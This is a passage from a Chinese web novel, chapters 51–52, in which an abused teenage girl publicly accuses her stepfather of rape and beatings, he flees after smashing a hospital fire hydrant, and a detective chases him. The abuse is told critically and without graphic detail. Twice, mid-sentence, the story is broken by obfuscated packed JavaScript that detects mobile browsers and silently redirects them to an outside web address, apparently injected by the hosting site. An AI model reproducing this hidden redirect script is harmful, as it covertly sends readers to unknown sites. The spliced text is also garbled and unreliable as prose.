“问题是,这压根就不是我打的。”姜国栋又是一声长叹,“实不相瞒,我女儿有很严重的抑郁倾向,发作起来会自残,我拦了很多次,但她总是会在我没发现的时候偷偷伤害自己,可到了别人面前,这些伤就变成我做的了,我们是带着看过医生,也做过治疗,都没有任何好转啊!” “就是因为这样,我才想带孩子回家休养,她情绪上不能受刺激,否则就会像现在一样颠倒黑白——她都不知道自己在说什么。”姜国栋说着,还抹了抹眼泪,“难道我这个做爸爸的,想爱护孩子也是错的吗?” 51. 第 51 章 “这——” 两方截然相反的指控,顿时让刚刚还义愤填膺的人们泄了火。 毕竟说到底,他们都只是外人,没人知道一家人关上门到底怎么过日子,也没人有那个心力去刨根究底,晓阳说她被家暴了,他们自然没有怀疑,可当爸爸的也有充分证明,这下就真成了人家的家务事。 家务事,谁想掺和呢,万一人家说的是真的,那他们岂不是在害人? 姜国栋胜券在握,微微一笑:“退一万步说,如果我真的打了她,为什么她没有报警?她妈妈也不报警?” 这话就更有说服力了,就算当爹的不是好东西,难道亲妈还会不管自己孩子? 可这孩子身上的伤却又是真的令人心疼,一时间说什么的都有,有人说不可能有这么狠心的父母,觉得晓阳才是撒谎的那个人,也有人觉得再怎么自残不至于到这份上——难道孩子自残父母就没有任何责任? 嗡嗡的议论声中,姜国栋挑起了笑容,林语禾气得牙痒痒:“骗子……他在骗人!” “你有什么证据?”姜国栋懒得搭理她,“满嘴巴谎言,小心我告你诽谤。” “你——” 有人拉住了林语禾的手臂。 晓阳冲好友虚弱地笑了笑,尽管她的嘴唇比之前更加苍白,可女孩的目光里那抹火焰般的光亮却越来越盛,像是要将自己燃烧殆尽,她转过头,独自站在白炽灯下,目不转睛地看着那个折磨了自己许多年的恶魔。 真傻啊,她漫无边际地想着,自己真是天真,总以为忍耐和顺从,就能让这个人的虐待不那么痛,就能撑到她逃出宣城的那一天。 她错了,恶魔之所以是恶魔,就是没有人性。 姜国栋打算对她重要的人出手那一天,晓阳头一次有了和他同归于尽的冲动,可现实是即使她拼尽全力,也无法和姜国栋的力量抗衡,她会死,可这个恶魔还会活着……她什么也做不了。 可她想要保护自己的朋友。 晓阳从没有遇到过像林语禾这样的人,纯粹,热烈。 小禾才是那个像是太阳的存在,光是相伴待在身边,就会贪恋那一瞬的温暖。 这样漂亮而温暖的太阳,却奔向自己而来。 哪怕是最肮脏污秽的泥,也想要拥抱这样的太阳啊。 “……如果我说,你对我做的不止这些呢。” “晓阳!” 林语禾有了某种预感,她连忙拽住了晓阳的手,不想让她再说下去:“……不要说。” 她从来没有这么害怕过,她明明有超能力,她明明能改变未来——可是她却救不了自己的朋友,林语禾眼前一片模糊,她哀求着晓阳,拼命地摇着头。 不要说,不要伤害你自己。 晓阳只是看着她,静静地,摸了摸她刘海上的兔子。 那是她们一起在游乐园买的兔子发饰,晓阳的那个绑在发尾,从自行车上摔下来的时候不见了,林语禾这个还在,晓阳慢慢地握住她的手,又松开。 她的视线重新投向了姜国栋身上。 她笑了笑。 “强/奸,也是因为爱护我吗?” “拍下我受虐的照片,要挟我,恐吓我……这些也是因为爱护我吗?” 一直表现得把握十足,似乎晓阳说的话并不能动摇他情绪的姜国栋,在听见这句话的那一瞬间,慢慢变得铁青,他咬牙切齿,几乎是凶狠地从牙齿间迸出一句:“闭嘴!” 他猛地冲了上去,想给晓阳一巴掌,却被人按住了。 “我他妈——操!” “别动!” 在姜国栋动的那一瞬间,闫求真果断将他按倒在了地上,反剪起双手,死死地将人压在地板上。 “放开我,放开我!”姜国栋奋力挣扎着,整张脸再也不复刚刚的从容和温厚,反而是狰狞得五官扭曲,“臭婊子,我就该杀了你,我早就该杀了你——” “是啊,你早该杀了我。”晓阳轻声说道,“这样就没有人知道你对我犯的罪,从我八岁开始一直到今天,每次我回到家都会害怕……哪怕我锁上卧室,你也会把它砸开,然后一次,又一次地抓着我的头发,砸在门上。” “太痛了,我流血快要流干的时候,觉得还不如死了好……只可惜我没有死,我活着,只是变成你一次又一次发泄欲望和暴力的工具,我没有朋友,只要我稍微离开你的视线,你就非打即骂,直到我求饶为止……” “……别再说了,晓阳,别说了……”林语禾哭得上气不接下气,她用力地抱着好友,想要在那抹冰冷上覆盖上自己的体温,“你生病了,我们去看病好不好,别再说了晓阳……” 姜国栋的罪行,就是晓阳的伤疤。 林语禾头一次对自己的“超能力”产生了怨恨,为什么她明明改变了未来,却没办法让发生在晓阳身上的这一切消失?为什么她什么都做不到! “都怪我,都怪我……” 如果她再厉害一点就好了,如果她能更聪明一点,如果她能更早明白舒任的欲言又止,她能说服闫警官调查晓阳身上发生的事情,这一切是不是就不会发生? “别哭……小禾,别哭。”晓阳轻声道,“我早就该说出来了。” 是她一次又一次的逃避,才让姜国栋越来越得寸进尺——当他的魔爪伸向她重要的人,她明白,她已经逃无可逃了。 她也有想保护的对象。 如果不是小禾,她一定没有勇气将这一切说出来,可是此刻她握着小禾的手,看着这个顽强得可爱的女孩为了自己哭得撕心裂肺的样子,她忽然觉得,这一切并没有想象中那么艰难。 她的痛苦,有人在感同身受。 真好。 那个沉默、柔顺、忍耐的女孩,头一次露出了尖锐的獠牙。 晓阳看向了闫求真:“我要报警,姜国栋……我继父是个强/奸犯!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733334|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“别听她胡说,她发病了,这些都是假的,她是在骗你们!”姜国栋怎么挣也挣脱不开闫求真的桎梏,他狼狈地趴在地上,却还在垂死挣扎,“你拿不出证据,你有什么证据证明我强/奸你!” 晓阳定定地看着他。 “……有啊,我全身所有的痕迹,就是你的罪证。” “……” “还有,顾延的手机里不就有吗,视频、照片、甚至是你们聊天的记录……”晓阳笑了笑,“你忘了吗?可我一辈子也忘不掉。” 顾延。 这个名字对闫求真来说丝毫不陌生,甚至是熟悉得可怕! 他想起来之前斗殴事件发生时,他询问林语禾,对方却死活不肯开口说出手机里到底有什么,她为什么要抢。 临走时,她对自己欲言又止……原来是这样! 闫求真懊恼不已,见姜国栋跟条死鱼一样在地上扑腾,他抿紧嘴唇,用力将人压住,拿出银手铐就要将这个强/奸犯带回公安局审讯。 “老实点!有什么话,到局里说去!” 姜国栋当然不会就这么就范,可他力气再大,却抵不过闫求真这个年轻力强的刑警,眼见手铐冰凉的温度落在手腕上,马上就要被铐住,另一边却传来了喧哗声—— 晓阳忽然倒了下去! 林语禾抱着女孩下坠的身体,叫了一声“晓阳”,慌慌张张地试了试额头的温度,一片汗珠里,掌心的温度烫得惊人! 她带着哭腔喊了起来:“医生……医生!晓阳晕过去了……!” “大家让让,让让!”眼镜男医生从人群中艰难地挤进来,迅速地检查了一下晓阳的脉搏和体温,见她皮肤苍白得近乎透明,手心湿冷,连忙指挥着护士们赶紧把围上来的其他人疏散开,“平板车赶紧推过来,送去急救室——” 谁也没想到会突然发生这样的变故,慌乱之中,闫求真忍不住也往晓阳那边看了一眼。 就这一眼,被姜国栋抓住了空档。 他眼睛一红,竟然怒吼一声,将闫求真撞到一边,再一个箭步冲到了大厅的消防栓门前,抄起放在角落里的榔头,用力将里面的消防栓砸开! “砰!!” 暴力冲击下,零件顿时四处飞散! 大厅天花板上的报警器尖锐地响彻—— 玻璃碴像是冰晶一样到处洒落,伴随着人群的惊恐尖叫,消防栓中的强大水压瞬息而至,像是一头不受控制的巨兽,轰鸣着砸向了天花板! 水汽顿时氤氲了整个空间,咆哮的水流中,墙上的指引牌被冲得七歪八扭,所有人的视野都被严重遮挡住,一时间喊声四起。 “妈、你在哪!” “我脚扭了,怎么办啊!” “快打消防!有人把消防栓砸了!” “警察同志,警察同志——” 闫求真没能回应这声呼喊,他紧紧地捕捉住姜国栋冲出医院的身影,拔腿追了上去! 52. 第 52 章 医院门口就是一条主干道大马路,人行道绿灯正闪烁着,姜国栋想也不想地混进了茫茫多过街的人群中,闫求真咬了咬牙,硬是抢在绿灯跳红灯的前一秒疾冲过去,锐利的眼神在人群里快速寻找着目标的踪影。 这个不是。 这个不是。 这个——姜国栋与闫求真的眼神对上一秒,前者几乎是想也不想撒腿就跑! “站住!” 闫求真吼道,周围人都被他吓了一跳,纷纷转过视线来,姜国栋听到这句话之后显然更慌了,想也不想地一头扎进了旁边的巷道里,闫求真追了上去,险些撞上里头拎着塑料袋出来的大妈。 里面竟然是个农贸市场! “哎哟喂,吓死我了!” 塑料袋里的水泼出来一小半,活蹦乱跳的鱼在里头一甩尾巴,不偏不倚地溅了闫求真一脸,他抹了把脸,说了句“借过”,侧着身子就从大妈身边挤了过去。 大妈都做好了这人要跟自己吵架的心理准备,正要扯着嗓子先发制人嚷嚷他吓到自己,见人自顾自走了,反而心虚了几分:“……这可不怪我啊,这自己撞我脸上的,这怪不了我。” 那一泼水浇得闫求真衣服湿了半截,黏糊糊地贴在身上,跑两步就跟身上粘了什么东西似的,怎么动怎么难受,可更令他难受的是农贸市场里乱糟糟闹哄哄的环境,巨大的露天摊位到处都是买菜的老头老太太,还有大声叫卖的摊贩,过道就仅仅留出了够一个人过路的宽度。 这条路姜国栋恐怕也没有提前想到竟然会这么多人,他强壮的块头在这种时候就成了累赘,逃跑的速度比刚刚不知道慢了多少,熙熙攘攘的人群里他就像是鹤立鸡群一样,闫求真一眼就盯上了他的位置。 他下意识拿出了对讲机和支队联络,如果说刚刚在医院姜国栋的嫌疑还不够,那现在光是砸碎公共消防设备这一条就足够他进去蹲两天了,更别说那女孩指认之后这人本能就要逃,这要是心里没鬼谁信?! 老陈接通对讲机就跟机关炮似的轰了起来:“闫求真,犯人抽血抽一半,你小子跑哪去了薛队正找你呢!我说你上厕所去了,但就算是拉肚子你也该归队了吧——你这都半个多小时了你到底干嘛去了?!” “消防栓炸了,我在——”闫求真正想说他在追嫌疑犯,让老陈他们那边配合调度各关口一起拦截,姜国栋却忽然身形一转,从他眼皮子下面消失了,闫求真顿时神色一凛,“草!” 对讲机那边“喂喂”了两声,“什么炸了?!” 可闫求真什么也顾不上了,他要是放任这人在自己手上溜走了,他还怎么回去和那小孩交代,还有林语禾——他想到女孩哭得通红的双眼,紧紧地握住了拳头,他已经错失了一次追查真相的机会,这一次必须抓住! 闫求真眼神锁定住东西南北四个巷口,西边是一条死胡同,他刚追着姜国栋从南边进来,还能去的就只剩下北边和东边,只犹豫了一秒,闫求真就选择了东边,这边出去不是正马路,而是通向了老城区的街道。 姜国栋心里有鬼,刚刚他就往巷子里钻,这会儿本能反应肯定是去人少的地方才好躲藏! 他深吸口气飞奔起来,一边跑一边不停用手将两边的路人拨开。 “借过,借过!” 姜国栋没想到这个警察竟然这么穷追不舍,而且体力竟然这么好,他明明一路选的都是难走又偏僻的小巷子,可这人却像是在他身上安了只眼睛一样,无论他往哪里跑,都在身后牢牢地缀着他。 而在这么高强度的冲刺逃命下,哪怕是他的体力也已经快顶不住了,更别说之前他还在医院破坏了消防栓——那玩意儿又硬又结实,光是那一下震得他现在手臂都还在隐隐作痛,多半是扭伤了,姜国栋神色扭曲,但是他不想被警察抓住。 他不想坐牢! 姜国栋在分岔路口强行拐上了主路,运气似乎不打算给他好脸色,他刚刚跑到马路边,人行路灯就跳转了红色,可身后踏踏的脚步已经近在咫尺,那个抓他的人来了——姜国栋咬着牙,往起步的车流里一钻! “滴滴——!!” “吱——” 马路上的车眼看着躲闪不及,离他最近的那辆红色SUV只能狂踩刹车,下意识往另一侧打了方向盘,从姜国栋身上擦过的那一瞬间,与斜对面来的车辆狠狠地撞在了一起。 躲闪不及的后车把刹车踩到底也避不开了,一辆接一辆地撞了上去,尖锐的鸣笛声、怒吼声、司机们谩骂发泄的声音顿时充斥了整个十字路口! 一片混乱中,SUV的司机从车上下来,慌慌张张地寻找伤者,可刚刚被他撞到的那个男人已经捂着受伤的手臂头也不回地跑没了影! …… “闫求真啊闫求真,我看你是一天天肆意妄为,连组织上的纪律都忘得一干二净了!” 公安局办公室里,刑警支队队长薛华将站在办公桌前低头不语的队员批了个狗血淋头:“我说过多少次,不要擅自决定,不要着急上头——你知道不知道我们出队是做什么去?” 闫求真声音有点闷:“……送犯人,到医院验血。” “你又跑去做什么了?” “……”闫求真抿了抿唇,“抓犯人。” “好,好一个抓犯人!”薛华气得一拍桌子,“程序呢,逮捕令呢,你什么都没有,就这么空着手去想抓就抓?!” “有受害人指认,而且他当场就跑了,要是没问题,他没必要跑。” “你还顶嘴,还顶嘴!” 闫求真低下头不说话了。 薛华急促地喘了几口气,他一转办公椅,把窗户打得更开了一些,冷飕飕的秋风吹进来,把他脸上的温度给吹降了一些,他调整好呼吸,声音里多了几分语重心长。 “是,咱们刑警的使命就是不能放过任何一个作恶的人,这是我们的责任,穿上这身衣服就该和人民站在一起。” “但是求真啊,嫌疑人你要抓捕,普通老百姓的安危,咱们就弃之不顾了吗?消防栓炸了,那么大的紧急事故,你就只顾得上在对讲机里潦草地交代两句,要不是医院这边反应快,及时通知我们和消防,你知道会造成多大的财产损失,多少人会因此受伤?” 闫求真沉默着,薛华却看见他眉头微微皱了起来,嘴唇紧抿,显然是意识到后果。 “唉。”薛华原本也不只是为了将他叫过来臭骂一顿,他点了点办公桌上的文件,推到了闫求真面前,“这件案子用心办,就算你将功补过,知道了么!” 闫求真原本以为自己恐怕已经和接下来的办案无缘,谁知道薛队竟然放了他一马,惊讶地抬起头来,随即肃然地行了个礼:“保证完成任务!” 薛华无奈地摇了摇头,挥挥手示意他出去,临到闫求真要走出门的时候,他又把人叫住了:“那个叫姜晓阳的小姑娘,家属什么时候到?” “后天下午,她外婆在金阳县,我已经帮老人家订好车票了。” 薛华这下是真的叹了口气:“外婆啊……行吧,这两天你多照顾照顾小姑娘,别让人在咱们这儿受委屈了。” “好。” 薛华又挥了挥手,这次是真的送客。 闫求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737808|140782||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真从办公室退出来,正遇上老搭档陈焕风在门口等着,见他出来面色平静,挤了挤眼睛,用嘴型无声问他情况咋样,闫求真看了一眼禁闭的办公室,招招手示意他跟上。 “那小姑娘情况怎么样?” 陈焕风没想到他会先问这个,但这些报告显然在他这儿也是烂熟于心:“全身多处淤青、肿胀和挫伤,头皮有部分撕裂,四肢存在局部感染和淤血……” “局部感染?” “……初步怀疑是针扎。” 闫求真脚步顿了一下。 陈焕风呼了口气:“另外她有严重的贫血……孩子长年处于营养不良的状况,胃也不好,剩下的,薛队交给张姐去和医生了解情况了。” 受害人不仅仅是个女孩,还是个未成年女孩,要照顾到孩子的心理状况,尽可能避免一切让她再次伤害的可能,刑警支队把最擅长和女孩儿打交道,负责心理创伤治疗的王牌元老,张姐给请出了山。 “知道了。”闫求真吸了口气,在病房门口停下脚步,重重地吐出一口气,像是要将胸中的郁气消散,随后脸上慢慢浮起了一个和善的笑容。 他敲了敲门,在里面传来椅子挪动声响的时候,轻轻地打开了病房门。 “我是刑警支队的闫求真,过来看看孩子。”他视线在床头桌摆着那个削了半截的苹果上一瞥,冲站着的常美琴和林语禾母女点了点头,不忘关心一下林语禾的身体:“伤都好了?” “嗯。”林语禾挠了挠头发,“……不严重,很快就好了。” “好什么好,回自己床上躺着去。”常美琴瞪了女儿一眼,推着她回自己病床上,正想拉上分隔不同床位的隐私帘,想了想又没拉,假装没看见女儿探出来的小脑袋。 闫求真走到窗边,目光落到了病床上那个唇色苍白,静静凝视着自己的女孩身上。 “晓阳?” 晓阳弯了弯唇角,像是因为他省略了那个姓氏有些高兴,她努力想要撑起身来,却又被旁边的常美琴按了回去:“晓阳也别乱动。” 晓阳无可奈何地笑了笑,笑容里却显然多了些温柔,显然在进医院这段时间里,她没少受好友这位刀子嘴豆腐心的母亲关照。 她只能不好意思地躺在床上问候:“叔叔好。” 她原本就瘦,裹在长袖长裤中的时候还不明显,现在换了病号服,均码穿在她身上也是松垮得惊人,露出来的手腕细得好像只剩下皮包骨头,闫求真按捺下心里的火气,笑容越发温和,他拉过椅子坐下。 “现在感觉怎么样,身体有没有好一点?”闫求真看了一眼输液袋里还没到底的营养液,“这个比钾输起来要好点吧。” 晓阳笑了笑:“嗯,不疼。” 怎么会不疼,手背上还到处都是淤痕,细细的血管上却又扎了粗粗的留置针,巨大的反差让人忍不住移开目光,闫求真却并不揭露这一点,他顺着话说了下去:“姜国栋……你继父现在是潜逃状态,局里已经发了通缉令,包括周边的省市,现在都会全力追查这个人的行踪。” “那他要是跑回来怎么办?”另一头的病床上,林语禾努力地逃脱着母亲按下来的铁掌,固执地将问题问出口,“晓阳不能离开医院,他要是找回来了,晓阳岂不是很危险?” 常美琴有些为难地看了一眼闫求真,后者却没有敷衍这个听上去有些笨的问题。 “不用担心,我们会轮班值守的。”闫求真认真回答道,“……如果他出现,那是最好,我们会立刻抓捕他。” 他这句话不仅仅是解释给林语禾听,也是解释给晓阳听。